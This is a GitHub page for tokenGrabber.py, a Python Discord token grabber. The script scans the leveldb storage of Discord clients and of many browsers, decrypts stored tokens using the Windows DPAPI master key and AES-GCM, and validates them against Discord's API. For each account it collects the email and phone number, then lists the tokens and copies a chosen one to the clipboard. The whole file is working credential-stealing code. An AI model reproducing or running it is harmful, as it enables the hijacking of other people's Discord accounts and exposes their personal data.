-
Notifications
You must be signed in to change notification settings - Fork 1
/
tokenGrabber.py
165 lines (138 loc) · 6.44 KB
/
tokenGrabber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES
from base64 import b64decode
import subprocess
import requests
import ntpath
import json
import re
import os
appdata = os.getenv("localappdata")
roaming = os.getenv("appdata")
chrome_user_data = ntpath.join(
appdata, 'Google', 'Chrome', 'User Data')
paths = {
'Discord': roaming + '\\discord\\Local Storage\\leveldb\\',
'Discord Canary': roaming + '\\discordcanary\\Local Storage\\leveldb\\',
'Lightcord': roaming + '\\Lightcord\\Local Storage\\leveldb\\',
'Discord PTB': roaming + '\\discordptb\\Local Storage\\leveldb\\',
'Opera': roaming + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
'Opera GX': roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
'Amigo': appdata + '\\Amigo\\User Data\\Local Storage\\leveldb\\',
'Torch': appdata + '\\Torch\\User Data\\Local Storage\\leveldb\\',
'Kometa': appdata + '\\Kometa\\User Data\\Local Storage\\leveldb\\',
'Orbitum': appdata + '\\Orbitum\\User Data\\Local Storage\\leveldb\\',
'CentBrowser': appdata + '\\CentBrowser\\User Data\\Local Storage\\leveldb\\',
'7Star': appdata + '\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\',
'Sputnik': appdata + '\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\',
'Vivaldi': appdata + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
'Chrome SxS': appdata + '\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\',
'Chrome': chrome_user_data + '\\Default\\Local Storage\\leveldb\\',
'Epic Privacy Browser': appdata + '\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\',
'Microsoft Edge': appdata + '\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\',
'Uran': appdata + '\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\',
'Yandex': appdata + '\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\',
'Brave': appdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
'Iridium': appdata + '\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'
}
encrypted_regex = r"dQw4w9WgXcQ:[^\"]*"
def win_decrypt(encrypted_str: bytes) -> str:
return CryptUnprotectData(encrypted_str, None, None, None, 0)[1]
def copy(text):
process = subprocess.Popen(['clip'], stdin=subprocess.PIPE)
process.communicate(input=text.encode('utf-8'))
def get_master_key(path: str or os.PathLike):
if not ntpath.exists(path):
return None
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
try:
master_key = b64decode(local_state["os_crypt"]["encrypted_key"])
return win_decrypt(master_key[5:])
except KeyError:
return None
def decrypt_val(buff, master_key) -> str:
try:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception:
return f'Failed to decrypt "{str(buff)}" | key: "{str(master_key)}"'
def checkToken(token):
headers = {
'content-type': 'application/json',
'Authorization': f'{token}'
}
req = requests.get(
f'https://discord.com/api/v10/users/@me', headers=headers)
if req.status_code == 200:
data = json.loads(req.text)
return {
'username': data["username"],
'userID': data['id'],
'avatarURL': f'https://cdn.discordapp.com/avatars/{data["id"]}/{data["avatar"]}.png',
'discriminator': data['discriminator'],
'bio': data.get('bio', ''), # Use .get() to handle missing keys
# Use .get() to handle missing keys
'email': data.get('email', ''),
'phone': data.get('phone', '') # Use .get() to handle missing keys
}
else:
return 'Bad'
def getTokens():
tokens = set()
for name, path in paths.items():
disc = name.replace(" ", "").lower()
if "cord" in path and os.path.exists(os.path.join(roaming, disc, "Local State")):
processed_tokens = set() # Keep track of processed tokens for each path
for file_name in os.listdir(path):
if file_name[-3:] not in ["log", "ldb"]:
continue
for line in [x.strip() for x in open(os.path.join(path, file_name), errors='ignore').readlines() if x.strip()]:
for y in re.findall(encrypted_regex, line):
token = decrypt_val(b64decode(y.split('dQw4w9WgXcQ:')[1]), get_master_key(
os.path.join(roaming, disc, "Local State")))
if token and token not in processed_tokens:
data = checkToken(token)
if isinstance(data, dict): # check if the result is a dictionary
# Add token to the data dictionary
data['token'] = token
tokens.add(tuple(data.items()))
# Mark token as processed
processed_tokens.add(token)
return orgnizeData(list(tokens))
def orgnizeData(tokens):
returnl = []
for i, item in enumerate(tokens):
username = item[0][1]
userID = item[1][1]
avatarURL = item[2][1]
discriminator = item[3][1]
bio = item[4][1]
email = item[5][1]
phone = item[6][1]
token = item[7][1]
returnl.append(
{'username': username, 'userID': userID, 'avatarURL': avatarURL, 'discriminator': discriminator, 'bio': bio, 'email': email, 'phone': phone, 'token': token})
return returnl
if __name__ == '__main__':
tokens = getTokens()
for i, token in enumerate(tokens):
print(
f'{i + 1}. {token["token"][0:33]}... User: {token["username"]}\n')
choice = input("Token to copy: ")
try:
choice = int(choice)
if 1 <= choice <= len(tokens):
selected_token = tokens[choice - 1]["token"]
# Copy to clipboard using subprocess
copy(selected_token)
print(f'Token {choice} copied to clipboard.')
else:
print('Invalid choice.')
except ValueError:
print('Invalid input. Please enter a number.')